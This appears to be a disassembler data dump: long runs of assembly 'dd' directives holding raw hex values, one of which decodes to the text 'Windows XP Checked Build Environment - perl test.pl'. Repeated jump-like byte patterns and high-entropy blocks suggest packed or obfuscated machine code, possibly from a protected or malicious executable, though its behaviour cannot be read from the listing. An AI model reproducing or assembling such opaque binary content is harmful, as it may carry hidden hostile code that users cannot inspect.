		dd 13E825h, 0A2DE0000h,	2F8365E2h, 0D06E90BDh, 9DA2BB90h
		dd 0C14C38h, 0C185897Dh, 5F07E921h, 320D8D89h, 820F07E9h
		dd 6, 235BD0Bh,	85C707E9h, 7E922E5h, 5D08h, 0CF7EFEBAh
		dd 0B185C753h, 7E922h, 89000000h, 0E91B1995h, 1DB5FF07h
		dd 6A07E90Eh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0BEC1C357h, 9579FF0h, 0E91BB995h
		dd 3D958907h, 0FF07E920h, 0E9228595h, 55006A07h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 315D9F36h, 0E92DB98Dh, 74BF6007h, 61753548h,	95FF006Ah
		dd 7E90C31h, 6AEBC08Bh,	0C0E39E06h, 0B27F3979h,	84289BD2h
		dd 7F99A25Fh, 0B5B3E6D2h, 0D2DF96A9h, 3B7A5886h, 0AEDDA1DFh
		dd 7599D892h, 5A7F51EEh, 0E3E1F264h, 54EECEEDh,	7B759478h
		dd 0C95CA2C8h, 686906B3h, 960D29CDh, 79A334DBh,	799DBD0Ah
		dd 0C5035A3Ch, 7DCAE7Fh, 9DE6541Ch, 1CADE154h, 174CA6FAh
		dd 0D39DDF87h, 435EBF86h, 0C0D77906h, 9E82C6Dh,	0B2000000h
		dd 0F88D40D9h, 1D38B4E9h, 0E758589h, 0F5B07E9h,	686h, 0B0D08100h
		dd 8120969Dh, 65C9C3h, 61DBBA00h, 687030h, 29000000h, 0E9320995h
		dd 8B0F5E07h, 3, 0FFCEB70Fh, 0F0811E34h, 6BD3CA6Bh, 3CB5515Fh
		dd 52C7815Ah, 8B540905h, 0E907958Dh, 0D5EF8107h, 8B2E883Ah
		dd 0E917C58Dh, 4EF78107h, 891659D6h, 0E90EE595h, 333C8907h
		dd 7E9h, 684EAC00h, 42957138h, 7E9h, 0D6E37400h, 839A1449h
		dd 8903EE83h, 0E910AD85h, 0B70F4E07h, 14FE81C0h, 0FFFFF9Bh
		dd 2085h, 10E900h, 4F3F0000h, 32C99D8Dh, 0DAB2779Eh, 8E3B6BC8h
		dd 25E93394h, 0E6000000h, 0C0802570h, 619523BCh, 0E907E90Ch
		dd 0FFFFFF6Fh, 309D2AADh, 1D7251EBh, 0C5E0D3B7h, 40045D3Eh
		dd 0E9116BCEh, 5124786Ch, 12411EEh, 0C27C3203h,	25609BD9h
		dd 256093C4h, 1240464h,	0C2745230h, 30BD64A4h, 0E8060F91h
		dd 0D9A87401h, 0E9741269h, 1241282h, 59E74AE0h,	50056E9h
		dd 50056B1h, 1241205h, 3E7424Ch, 0C6FC443h, 60FE933h, 489199A4h
		dd 0A923FBF4h, 0DDA01D64h, 80241231h, 0EF634BF7h, 0A0B99B25h
		dd 8223FB20h, 0E83207BEh, 852B1286h, 1241290h, 0E977120Ah
		dd 1241233h, 5AE74938h,	5004E85h, 5005687h, 1241214h, 68E741C2h
		dd 0BB846D77h, 15A3B40Eh, 12588D9h, 56247818h, 12411E4h
		dd 0C27B3206h, 25589B5Ch, 25609385h, 1240BC4h, 0C2735560h
		dd 9E2367C8h, 0B4AF9B3Ch, 6CD0C65h, 8A427256h, 604572C5h
		dd 88001608h, 0E833FF7Dh, 4D251D67h, 0B4ADEC14h, 6CD3159h
		dd 2DE49154h, 0E974126Ch, 1241200h, 59E74AA1h, 5005649h
		dd 50056E1h, 1241224h, 0E0E74258h, 1241DE4h, 84549406h
		dd 934B9126h, 89BF60AEh, 4D49F26Bh, 2E558F4Bh, 8A7B15D9h
		dd 57247810h, 12411E4h,	0C27A3206h, 25509B5Dh, 25609385h
		dd 12407C4h, 0C2725460h, 9793790Fh, 0FD6C997Eh,	0E9751266h
		dd 1241205h, 58E74B23h,	5005E08h, 5005641h, 1241278h, 0A4E74371h
		dd 39AF4902h, 2251AF85h, 804215EFh, 0EDB243Ah, 124A105h
		dd 0CC9999C0h, 0E23FB7Eh, 12414B0h, 64999B18h, 8223FB39h
		dd 14E1BC7h, 127FA53h, 59041281h, 45AD4A03h, 45A51644h
		dd 13C1614h, 51641218h,	36041DCFh, 38A49329h, 89A11DEAh
		dd 80241281h, 4455B116h, 659904h, 0E977125Ah, 124121Bh
		dd 5AE7492Ch, 5004E8Fh,	5005682h, 1241296h, 0F2E74183h
		dd 0BFDFA2EBh, 64C2DB26h, 14EDA1Bh, 127FA5Eh, 5B041206h
		dd 55AD48C0h, 45A516A5h, 13D16E4h, 53661260h, 0C9090DF3h
		dd 67A9AC2Ch, 0FBAFC187h, 0E821D385h, 124120Fh,	0FAF90E9Fh
		dd 4EF91A86h, 1FF0005Bh, 4AB42BB1h, 842B995Bh, 124121Fh
		dd 4C7E9F8Bh, 29C15EAh,	0FE241281h, 0C3EB9321h,	6008D9B7h
		dd 0E975125Ah, 124121Bh, 58E74B2Ch, 5005E8Fh, 5005682h
		dd 124129Bh, 39E74381h,	0EA7F2809h, 94AFF622h, 6CD1071h
		dd 8956AF81h, 8CA915E8h, 6CA98EDh, 93A76639h, 0D0A121C1h
		dd 2A23FB79h, 3CDD3FFh,	5124786Ch, 12411EEh, 0C27C3203h
		dd 25609BD9h, 256093C4h, 1240464h, 0F305E983h, 29C08BA4h
		dd 0E91E0D9Dh, 0BD958907h, 3107E90Fh, 0E9252D95h, 8DC38B07h
		dd 0EE8C0C8Dh, 8E96007h, 44000000h, 0F2BEB361h,	61E09FA3h
		dd 320D8D89h, 6A07E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0BF0F59C3h, 0E585C7C3h, 0DC07E922h
		dd 6A000065h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0DB3DC351h, 0F353495h,	68Ah, 75BD8900h
		dd 0C707E930h, 0E922B185h, 7, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0B77EB792h
		dd 9ADBD89h, 0B5FF07E9h, 7E912D1h, 17019531h, 7E807E9h
		dd 39000000h, 87B9AE32h, 9D8BF701h, 7E91339h, 8595FF5Bh
		dd 6A07E922h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 8A93C355h, 6AF501AEh, 3195FF00h
		dd 8B07E90Ch, 6119EBC0h, 5B3F87B7h, 0B2B49B3Eh,	19DBC189h
		dd 6AE2D934h, 71941453h, 259E70B9h, 27E9h, 0D5B71C00h
		dd 14h,	8 dup(0)
		dd 526E9h, 7AFA1100h, 0C7B559FBh, 126C822Eh, 63E13163h
		dd 0A9D366D2h, 27939404h, 69CB6A12h, 9F39B438h,	0C36D0078h
		dd 0C1A64F29h, 38ECACE5h, 1624286Eh, 5527C894h,	0DC782F9Dh
		dd 4E4E43C5h, 0C6305CC5h, 0ECF64EDCh, 69B5C768h, 113B9F5Bh
		dd 1E339F67h, 0D765D75Eh, 0A54B13A5h, 0B1790BDBh, 0B9BB517Dh
		dd 0B7C56965h, 2FCE626Fh, 882557E5h, 0FC710B2Ch, 61BDBF50h
		dd 8075CE67h, 6B109001h, 0A200305Ch, 744C6A0Bh,	8B0918BCh
		dd 0A03A44BBh, 5CA6B1F1h, 0E0776330h, 0C22E0A98h, 3646E91Bh
		dd 4BFF1DBFh, 790BDBA5h, 60F551EBh, 8D678813h, 982EF72Ch
		dd 9E66E43Ch, 0F6F02C04h, 0F465255Ch, 5E56305Bh, 583FEB85h
		dd 0D31F8509h, 5CA39732h, 7CD87630h, 4143A3D9h,	2F0B7185h
		dd 7F91AC3h, 67843102h,	76h, 0D6A04A43h, 0C515970Eh, 0FE12305Ch
		dd 0E042825Fh, 1BC8430h, 6000000h, 46C4DC78h, 662ACEEAh
		dd 5351AD2Fh, 73A32BBDh, 0DBE539F1h, 419DDF73h,	2FC3F743h
		dd 7021BB4Dh, 305CC530h, 3A76C2E0h, 0E332869Eh,	4673D361h
		dd 8CEE0CC8h, 86AA32B0h, 5E9A28F4h, 0B5598B32h,	26B02EC7h
		dd 5CC52B6Bh, 73BFE530h, 0A5FDB547h, 0C52E6E23h, 0BCE6305Ch
		dd 3ECCD62Eh, 0DC7813B7h, 0E5FF47C5h, 45ADCF61h, 64B8BC51h
		dd 6EB6C468h, 1ECA739Dh, 40EC81FBh, 5874C8AAh, 4078C4B6h
		dd 7DD91DBCh, 77549CD8h, 8430DA7Dh, 7EF9h, 0A74AC900h
		dd 0AB4D09D5h, 0AB410DD1h, 0B35975C9h, 0BF517DC1h, 46361BDh
		dd 24A151F8h, 30B2E26Ah, 0F61AD6ECh, 0FB789D57h, 54EA16E3h
		dd 59FE5E1Bh, 0B01C9127h, 0DD9CD89Dh, 0D9D7DB81h, 0C7DFFB4Bh
		dd 42BB345h, 621DA874h,	0A930B71Eh, 8A48C22h, 0FD7554Ch
		dd 0DD15343h, 0ED0DAC40h, 0F320C975h, 84311B01h, 527Dh
		dd 0A74A4500h, 0AA4D09D5h, 7D9772D2h, 770528DCh, 0A6D679E5h
		dd 4AC3474Ah, 1C62D3A6h, 0F12E272Bh, 26B4C055h,	7B36C0DEh
		dd 305CBD3Bh, 6263CFD5h, 305CBD47h, 0AB4BF206h,	4A9D8411h
		dd 49AD398Ah, 5C585858h, 0EEAB830h, 314D43BDh, 1A384h
		dd 4A070000h, 0B4ECA4h,	68FE8CEEh, 0B04147DEh, 5C6AD2D4h
		dd 0DE7C5894h, 292F409Ch, 0C8B24480h, 0FB1DB925h, 0CB27BD81h
		dd 0FA8C1B16h, 0B4E98C87h, 24F8AA37h, 66F082A8h, 7172ECCFh
		dd 8068F46Ah, 0EC25A13Dh, 6148068h, 0B7F9A874h,	9D2872D6h
		dd 5620CA78h, 9E66F48Eh, 9D61E332h, 0DB27C6CEh,	0C50FAEA2h
		dd 0CA84537h, 4B08CEEh,	58F284F6h, 72D76929h, 31F9AB28h
		dd 47E62EFDh, 600D6F8Dh, 1ACDE123h, 688E568Ch, 3887DA16h
		dd 23000001h, 5D54EE78h, 305CC55Dh, 0FCBCEDB7h,	14305CC4h
		dd 6C8FA28Eh, 713061FBh, 0A137B59Ah, 85972303h,	3CDE7AFBh
		dd 0E2CA842h, 6C68846Ch, 9B50ACCEh, 0FA10D475h,	744CF578h
		dd 0B98C1A0Bh, 0A07CF81Dh, 99198822h, 7B2873A5h, 27ACC129h
		dd 36000000h, 9B2DBAB3h, 5CC4C6E6h, 88544EB0h, 5CC49919h
		dd 0A9507CB0h, 60FA7186h, 5CC59131h, 8C218330h,	0C23Bh
		dd 0A0B34B00h, 0FB89EB01h, 94B53061h, 5F0737B5h, 677DC1BBh
		dd 0C8B9E78Bh, 287393C8h, 32C45A48h, 0DB2D329Bh, 0A8049E11h
		dd 7123BA3Dh, 3B77C30Dh, 23357D9Fh, 6EFF8559h, 35155B00h
		dd 3CB147CCh, 24F87A90h, 73B6607Dh, 8AF41A28h, 85071EBAh
		dd 51F81CB9h, 39E0F4A1h, 79136D8Fh, 0E076C4DDh,	0DD20089Eh
		dd 28CE6F8Ah, 66F48E56h, 2A30DDD4h, 47623066h, 0AB4F8CF7h
		dd 96EC44D1h, 0B814E87Eh, 0BC56E092h, 8553C5C5h, 20514F20h
		dd 20855460h, 945CF2B0h, 97DB7C58h, 9E24F880h, 88983408h
		dd 0D167E53Ch, 0B756BE0Dh, 15B4D84Bh, 0E980F2Ah, 547D3D74h
		dd 0D972085h, 21CEC325h, 6D2877C8h, 0B304BE37h,	8A537A0h
		dd 89AEE999h, 47A18920h, 4E409D4Ah, 53B3F138h, 0AABD567h
		dd 0CDC48CAEh, 5B65B94Fh, 8D245DF3h, 2A569ACCh,	0CCD62EBCh
		dd 0E9F76564h, 0C25C1B13h, 27AC162Bh, 0DD153C1Bh, 3EDC08B1h
		dd 0EF01F3Bh, 0A1372023h, 0E88AA00Ch, 0EA68B814h, 3AE3E51Ah
		dd 63126C8Eh, 85591B31h, 0AD2h,	688C4800h, 78B03212h, 4AF6544Ah
		dd 430FD7A1h, 5B77CFA9h, 5C78C4B4h, 537FC745h, 6A66BEBEh
		dd 6D69B5C7h, 636FB735h, 6753B3CDh, 5E55A9D3h, 81E68956h
		dd 4C6h, 4EE8300h, 8B243487h, 0EC832424h, 243C8904h, 81E68956h
		dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 0D6BF2404h, 8165747Eh
		dd 0CF393FE7h, 0ACF8118h, 0F766B978h, 0BAB850D7h, 319EEC0Bh
		dd 876858C7h, 8900007Bh, 4812424h, 424h, 0BF685800h, 89000056h
		dd 408F243Ch, 2434FF08h, 4C48358h, 51243C8Bh, 0C181E189h
		dd 4, 4C181h, 0C870000h, 47E95C24h, 80FFFAEAh, 0B821523Eh
		dd 7EE90F6h, 0E0FFC503h, 49852E7Eh, 761F8E7Dh, 3D4C60F0h
		dd 63B2CDC4h, 726F7B7Eh, 3A3155A6h, 6D90E388h, 78B9D4Ch
		dd 69B32CB1h, 79CE66CAh, 0B0E9h, 8C666000h, 4C2F6DAh, 0C850Fh
		dd 853B0000h, 7E92669h,	36840Fh, 853B0000h, 7E916B5h, 2A840Fh
		dd 853B0000h, 7E9347Dh,	1E840Fh, 853B0000h, 7E91975h, 12840Fh
		dd 0BD830000h, 7E91C01h, 5840F01h, 0E9000000h, 5Fh, 5203D08Bh
		dd 88BA8B3Ch, 8B000000h, 0C985784Ah, 49840Fh, 0C2810000h
		dd 0F8h, 30C728Bh, 1C598BC8h, 314518Bh,	850B8BD8h, 10840FC9h
		dd 3B000000h, 17820FCEh, 3B000000h, 0F830FCFh, 83000000h
		dd 0F4A04C3h, 0FFFFDC85h, 0DE9FFh, 9D8D0000h, 7E94D5Ah
		dd 5B8h, 61E3FF00h, 0E8D00BC3h,	14h, 3A5A340h, 0E9EAF33Eh
		dd 0EEF2CBB6h, 1F250990h, 0AFB65525h, 19F4D781h, 53597708h
		dd 0C1815FF5h, 6A2Eh, 1A6068h, 0DF8B6600h, 9E85Ah, 9DCD0000h
		dd 0B47DDA89h, 52B703ECh, 58F8B70Fh, 0E831FF58h, 0Ah, 0F5D8BFEh
		dd 325DF423h, 0BD23EECAh, 7E90A89h, 95295E5Bh, 7E93455h
		dd 0C7C1C681h, 0BB663199h, 0F6810FEDh, 99B3DE1h, 779BD8Bh
		dd 0F68107E9h, 0E9AC90h, 68D0F56h, 89000000h, 0E90B619Dh
		dd 0E9018F07h, 0Ah, 25910D92h, 2ED2F797h, 0E983776Ah, 0FD858B04h
		dd 8107E91Ch, 1EAh, 92850F00h, 66FFFFFFh, 8D8DC68Bh, 7EE93B7h
		dd 320D8D89h, 0B86607E9h, 85C74356h, 7E922E5h, 6C7Ch, 0AE8h
		dd 4AB34D00h, 0E3B58D57h, 0BA29061h, 0E908FD9Dh, 85C75807h
		dd 7E922B1h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 1DC35242h
		dd 8B2B13D6h, 0E90F41B5h, 51B5FF07h, 0FF07E931h, 0E9228595h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 6BE22074h, 472F6DD5h, 6ABC1Eh, 0C3195FFh
		dd 0C08B07E9h, 927148EBh, 0D5B56731h, 3893A797h, 5523BE72h
		dd 585DAA84h, 8C4EE81Bh, 0C3CC8826h, 0CFC89E1Dh, 0DCEF76AAh
		dd 97738FF6h, 5B395D25h, 77F22A60h, 0D8AB80F6h,	3E7E0C58h
		dd 0ACCBB840h, 48F295E1h, 0E8F01160h, 855EA9CDh, 95E9E4C3h
		dd 0C4000000h, 575D4FB1h, 6F646E69h, 58207377h,	68432050h
		dd 656B6365h, 75422064h, 20646C69h, 69766E45h, 6D6E6F72h
		dd 20746E65h, 6570202Dh, 74206C72h, 2E747365h, 6C70h, 17h dup(0)
		dd 0EABE9h, 96336800h, 61E907EEh, 68FFFBBEh, 7EE96F5h
		dd 0FBBE57E9h, 98C268FFh, 4DE907EEh, 68FFFBBEh,	7EE9901h
		dd 0FBBE43E9h, 99F668FFh, 39E907EEh, 68FFFBBEh,	7EE9A8Dh
		dd 0FBBE2FE9h, 9E8168FFh, 25E907EEh, 68FFFBBEh,	7EEA0BCh
		dd 0FBBE1BE9h, 0A19068FFh, 11E907EEh, 0B2FFFBBEh, 0A1108E5Ah
		dd 973AA064h, 8948567Eh, 0FD5C4A8Eh, 0C9677F9Fh, 0C90D0B67h
		dd 0FE2660D1h, 0ED3551E0h, 9D4D44F5h, 51DAAE05h, 0A92E18EBh
		dd 0EA7AEAAFh, 2E18DB41h, 0E13E9FA9h, 53E5FC3Dh, 6E88584Fh
		dd 0C6DC0C03h, 0D4C4DA6Fh, 289D925Fh, 0AFCB08A9h, 566C40E8h
		dd 0FF70B99h, 0FFCC7383h, 43410013h, 61786783h,	3804h
		dd 16535800h, 0C1801080h, 0F9E600C4h, 9F1479E2h, 556A928h
		dd 0C06C0797h, 5F99566Ah, 27A73A6Bh, 655BFCCh, 0C3C7B9Bh
		dd 0DF9955F2h, 9FF743A3h, 0CB14004Bh, 0CEh, 0DB584F8Dh
		dd 3F84EC50h, 0D2CDACA1h, 0A6E7EC0Eh, 48E37361h, 0A13F84E4h
		dd 0CA4C57A4h, 7765A9E7h, 0F416BAD6h, 5F22D4CFh, 137E9848h
		dd 48F47FFCh, 0A13F84h,	8F14B2F3h, 0A13F896Ch, 8E14C4DBh
		dd 5BC16AFAh, 1FA13F7Fh, 7BB864BEh, 6EBAD160h, 0BA2CB90Ch
		dd 6D069626h, 0A13F7FBFh, 0E70DD932h, 0AD640D94h, 87A92891h
		dd 0ABE56474h, 73E27863h, 7BF0E0F6h, 0A142459Fh, 0BD1C8CCFh
		dd 0AC2DBF5Fh, 241A575h, 504E0387h, 8571F38Ch, 0DEF82E00h
		dd 0C4737h, 0F4247C00h,	0EE2E6BEEh, 9C4841F0h, 0B058B306h
		dd 0A569A72Ah, 319D873Dh, 26AB33D3h, 17BA20ECh,	0ACFD7FBh
		dd 60DFC713h, 1B250BA0h, 0D0E5A92Eh, 8D514F74h,	0BD6DA415h
		dd 16539125h, 2263A7E2h, 9F5805AEh, 4192A928h, 6AC67625h
		dd 7D819956h, 0D2E90D89h, 0A19113FFh, 37000000h, 0CA84584Fh
		dd 0D1E9567Bh, 0A9081253h, 484FAB6Bh, 0A13FFAAFh, 0D8338198h
		dd 66EBF330h, 2687E32Fh, 169D0FA1h, 0A929031Fh,	123EB5F5h
		dd 0D69956DFh, 0E75E4485h, 0FD5C4C62h, 0D71C7EA2h, 43AC3CCCh
		dd 8E2A0CB8h, 33DB34B9h, 30ABE8D7h, 42713EABh, 5D4F8CA1h
		dd 607E9EFCh, 6E13B3D1h, 2E00D7C8h, 85E87593h, 0BA00000Bh
		dd 0A928B662h, 9F32A86Ch, 0F1405E86h, 0E5547296h, 0C17F67A7h
		dd 0F115735Fh, 0E62E68E9h, 953D59F8h, 85554C0Dh, 49E2A61Dh
		dd 0A92E1AE3h, 4FB612A7h, 0A4158D51h, 9125BD6Dh, 6E88584Fh
		dd 2309A232h, 0E7A13F85h, 574E0D94h, 25A2138Bh,	578A21B3h
		dd 0B5A928B3h, 0E55744A6h, 0E4995655h, 0BE0367A7h, 0AF5DB965h
		dd 58B951B5h, 2272C026h, 5613FFE7h, 7, 8478B0Eh, 53290000h
		dd 80108016h, 3F8445EBh, 0EBF605A1h, 0CB62CD5Dh, 0A74F19D6h
		dd 2E7FE4FFh, 34A928BDh, 0ECFC327h, 64D3CE12h, 5FEFFD2Dh
		dd 565A68D4h, 45DF2099h, 0F238F12Bh, 0CC465D82h, 0A0CA160Dh
		dd 99B96BEBh, 0B72F5100h, 0E4E22E65h, 88923E55h, 11731A03h
		dd 43A3E732h, 7866B2E9h, 8216C2D9h, 0A0C512ADh,	77124FAAh
		dd 0B41D088Fh, 2D7D3210h, 0CFC973ACh, 0BFFCE307h, 918D145Bh
		dd 5BB71675h, 756C53B7h, 9B03CFC6h, 3551DF36h, 0CD9759E1h
		dd 3B789B26h, 2D67E6FAh, 38428A83h, 3190FA3Bh, 0E7EC0EDAh
		dd 0EADB3BA6h, 0AD93185Dh, 6D32117Eh, 30BB296Eh, 39FAA1CDh
		dd 28149F0Fh, 0C72A285Dh, 9CF0F9A6h, 0A7B4DC7Ch, 182B7866h
		dd 706076F3h, 0FE2A61E0h, 0A74C579Ch, 3210C5CEh, 12FC4E4h
		dd 0B9223E79h, 169D75BAh, 4F5A19h, 0D07CF787h, 88442D97h
		dd 0E425ED29h, 930542FDh, 8A1E2E01h, 0A9FE77D2h, 2439B232h
		dd 0BE4C16E4h, 0BADC041Fh, 95E62EB5h, 0A2CE2171h, 44A0F6D7h
		dd 992E8118h, 91E9507h,	1F4431E0h, 100DCCDCh, 0F657D5CCh
		dd 64A1209Fh, 0A1052BA0h, 91E23458h, 0BB5ADF89h, 62A3B0D8h
		dd 12BED564h, 328FBF91h, 0E580AE4Dh, 9B8h, 5D45958Dh, 677F9FFCh
		dd 756DB9D2h, 9901C9C4h, 0AC3ADA38h, 42402C36h,	5BB50482h
		dd 6AA62BB3h, 829938A6h, 11934856h, 2E1CB69Ah, 852772A9h
		dd 0F788584Fh, 0DE2B940Bh, 7955F01Eh, 4E000009h, 0BD1C8A56h
		dd 9326BC60h, 8534527Ah, 0F958468Ah, 0F5637B9Bh, 0C509076Bh
		dd 0FA227CDDh, 0E9316DECh, 994940F1h, 5DD6AA01h, 0A92E1DEFh
		dd 4F42EEABh, 36E8858h,	49D9C105h, 650FD7E6h, 2FBA9B28h
		dd 2DBA6162h, 0F38229BBh, 79A92924h, 0EFA979B6h, 4153DE03h
		dd 570186AAh, 0AA314299h, 83A94262h, 47995701h,	901FF734h
		dd 5B145B6Dh, 0A8776DFAh, 0D2B31A15h, 73BC2C6Dh, 5FB30B3Fh
		dd 4841F54h, 10BCD574h,	49D2C9F6h, 0DF8330F4h, 0EE366FEEh
		dd 0ECC20DF3h, 13E93886h, 0C3821657h, 0FBF802CAh, 125716E0h
		dd 90670C9Ch, 0A6D79D94h, 0F53ADA37h, 9FF657E7h, 66CA6173h
		dd 22C7C454h, 140BCAD1h, 55301C97h, 0B4CFC7C4h,	0DDF9064Bh
		dd 0E52A2943h, 21938F7h, 67311F94h, 0EAE9C7C4h,	6324B9A9h
		dd 27A2E327h, 2BF72EA3h, 0AF10F256h, 0C26B75F8h, 884h
		dd 29B161B9h, 33AB6BA8h, 4159859Eh, 554D95F0h, 7866A6E4h
		dd 0E0C60C2h, 2761D0CEh, 3652E7FFh, 4E45F492h, 0DDAF0482h
		dd 2E1DEA56h, 49EBAEA9h, 15C5DF7Eh, 86006792h, 95F1369Fh
		dd 8D8433AEh, 0DC3EE63Fh, 5C345697h, 637EA2FDh,	8A10B8D4h
		dd 3FC29FEDh, 579CEA1h,	0B4A7C30Bh, 43F37A41h, 155A9B24h
		dd 5C49EC87h, 0FB8BA92Eh, 5133CC70h, 0F42D8C99h, 4081CE28h
		dd 30A0B359h, 30AE7A91h, 3C5E8A81h, 73973755h, 552EF22Eh
		dd 263A3BFDh, 0EDDB628Ch, 0C2000007h, 31801ECAh, 27AA30D4h
		dd 19B826EEh, 0DCCDAFEh, 79D7CF0Fh, 597D9BF7h, 4E96F041h
		dd 7DA5E150h, 6DBDD465h, 0A14ADE75h, 0A92E1E7Bh, 4FDE7A3Fh
		dd 36E8858h, 63CCDC0Ch,	5FEA1238h, 1CFAE155h, 0F527DFC3h
		dd 0A5C57E9Eh, 0D2996C7Bh, 3A5AF5EDh, 0C90C167Ah, 9880266h
		dd 3FEFBE62h, 34797AA1h, 0D0C7583Fh, 0B8F9E600h, 0BED8FC19h
		dd 0B67D2AB1h, 13000004h, 10801653h, 2E18BE9Bh,	7D6F6CA9h
		dd 8D15C5DCh, 98405CFDh, 0D234E039h, 125BF6EDh,	62057294h
		dd 0C512BD5Dh, 9AE703CBh, 27305A7Eh, 7C703E3h, 27FC933Fh
		dd 0C2FC1D42h, 6D7E9624h, 4AEA8D71h, 0A2000000h, 0B801B17Eh
		dd 876F1FD5h, 8E28A11Ch, 0CFCB8A1Ah, 250B900Bh,	9DA14014h
		dd 13BA660Dh, 717EA140h, 38E2866Ch, 504B8897h, 484FABA8h
		dd 0C1A75E24h, 48B3536Fh, 5F4A8E89h, 7D9F96FEh,	7C22Ch
		dd 8B9A0000h, 194h, 9C1A5329h, 0F15A3D7Ah, 738F1AABh, 24EF0793h
		dd 249B8583h, 3D000000h, 7A9C1A53h, 0ABF13B3Dh,	7492AC1Ah
		dd 8320CE26h, 90925D85h, 30D21C1Bh, 0E2227F42h,	7C8EE7h
		dd 53C60000h, 4D0C9C1Ah, 94148F4Fh, 3F85311Fh, 14EAE9A1h
		dd 0BAA36BDBh, 6FDD56E6h, 2BA13FC7h, 0A95DB128h, 43878342h
		dd 0CA13827h, 0C1671E8h, 4990h,	1A533400h, 524D0C9Ch, 24F42B8Eh
		dd 86069DC2h, 3F8441EDh, 91FEFDA1h, 8DACDC13h, 88D91018h
		dd 0C3715011h, 89ED29DDh, 160C177Bh, 55B15DB7h,	1312736Eh
		dd 4A000000h, 15C5DF7Eh, 7D09749Dh, 158CCDE9h, 0DF62h
		dd 938B0600h, 29000000h, 7A9C1A53h, 8FC8663Dh, 0C6297BF6h
		dd 0AF74A120h, 58B615DEh, 15F12DB4h, 67367D99h,	5FED61h
		dd 53A30000h, 670C9C1Ah, 0A13F84B9h, 874F4809h,	9F657C63h
		dd 0EB7D3A5Ch, 7CC15FB1h, 0AE72AD2Ch, 6CE40B4Ch, 2FD2BDB6h
		dd 4D4CBEEh, 8E6FDE2h, 464450DEh
		dd 20342C37h, 68000000h, 0C9C1A53h, 3F84B967h, 186271A1h
		dd 5FB1C993h, 0C620420Eh, 36E12C48h, 75C79h, 8B700000h
		dd 58h,	88584F29h, 8500296Eh, 0B3CBA13Fh, 16C2D953h, 1A53CC88h
		dd 8AF6779Ch, 3C8660A6h, 0A13F924Ah, 109B2BB9h,	0A13F782Ch
		dd 58A26EA5h, 0E7E2F11Bh, 16C12F46h, 0FF465B0Ch, 8B7DFFFFh
		dd 2ADh, 1A67D21Dh, 0D5F569D5h,	2D66463Ch, 1783A637h, 0DB57CB7Ah
		dd 490B96D7h, 2C2DF7Eh,	51E0FBF8h, 148CEE3Ah, 2CB757B5h
		dd 3CAA76ADh, 3E524481h, 435E869Fh, 9DA32EC5h, 8919A928h
		dd 566C3EE2h, 0B8F9FA99h, 39B2425Eh, 99566C13h,	6C1804AFh
		dd 83D09956h, 0EA7F6A69h, 99566B42h, 0AE0DF905h, 0B32EF62Fh
		dd 0FFCCFA1Ah, 0CFC88913h, 72EB9C07h, 0AD000000h, 0D745EE7Eh
		dd 93A13F84h, 84B49813h, 6774A13Fh, 0C300BB26h,	2929C021h
		dd 404C9E82h, 0D4195AA1h, 6E05DEEEh, 0A14001C2h, 0F7347586h
		dd 1C234EE5h, 1A59A929h, 0E421A0F0h, 43804442h,	38A13827h
		dd 9956E810h, 0D9377D99h, 0AD92D135h, 0EB2B6849h, 27DFE18Fh
		dd 0A3227697h, 1447A367h, 4B489DDCh, 990D17Fh, 51A5F115h
		dd 3913FEDAh, 0D8h, 88584F5Fh, 0C105036Eh, 77C5DCA5h, 0AD92F41Ch
		dd 70A70A6Ch, 84D478F3h, 4794A13Fh, 475D9206h, 0C9EFF36Eh
		dd 0AA76F463h, 92824869h, 13F473F7h, 74A13FACh,	7EDFCD1Dh
		dd 1A06AD22h, 0DEA13FA3h, 0A74C5C9Dh, 0A13FA279h, 23A72231h
		dd 8E8B509Fh, 0F0C4421Dh, 0B2FFCC61h, 0CDC99C39h, 62DDC405h
		dd 250BA0E5h, 0E5A13FE8h, 0A8435196h, 0A92BBCBBh, 7BDACE0Dh
		dd 61E1F91Dh, 12F65AD1h, 0C3B29954h, 0C4DF1CCCh, 0AF71775h
		dd 263F1AF2h, 0F9BA436Dh, 0CE000003h, 3D9C0AD6h, 13A63CE0h
		dd 5B4D2FAh, 79D8C60Ah,	75E3FB1Bh, 458987EBh, 7AA2FC5Dh
		dd 69B1ED6Ch, 19C9C071h, 0DD562A81h, 0A92E226Fh, 4FC26E2Bh
		dd 95158D51h, 40A3D45Ah, 0B12889B0h, 64BD0B02h,	0EB637BB8h
		dd 6E88584Fh, 0C6DC0C03h, 0D4C4DA6Fh, 28A7B25Fh, 0F9EBE8A9h
		dd 615EC269h, 0C9629956h, 99566163h, 0BFBCD427h, 75A5D224h
		dd 0E995661h, 19AEEA1Ch, 739E1587h, 0D1A13F84h,	0A9CD1570h
		dd 8AC93FAAh, 0D4CD8C1Ch, 0A93E9108h, 0B415A537h, 6A698D5Dh
		dd 0D24FEA7Fh, 0FEFD995Bh, 0EB2F6BEAh, 50E070F0h, 7EA975DBh
		dd 0FE753589h, 897EA952h, 1D84C516h, 0BFDB65BEh, 27CCDA1Bh
		dd 897EA9FFh, 607EA2FEh, 908A0FE0h, 0B3C5ED04h,	2B6D28h
		dd 65030000h, 0A13F84B3h, 9D05A32Ah, 0DF3BE33Ch, 3F8474D8h
		dd 4E21CA1h, 3FA76FA8h,	305A7E9Ah, 3F84D27Bh, 9571A5A1h
		dd 0DFC70B07h, 0C8DF7E7Fh, 0B7F4207Ah, 0A971AD2Ch, 0E028644Dh
		dd 0AD594D86h, 0D090E14Eh, 33676906h, 866752FEh, 746F28DDh
		dd 9901C9C5h, 40602612h, 91E4D9A1h, 0F90C15FFh,	0FFFFFF9Fh
		dd 84584F9Fh, 899EB012h, 72903349h, 0A8096D52h,	0A939A171h
		dd 0CF2BEB28h, 0B59B1080h, 75A1406Dh, 83C07B66h, 4303CF61h
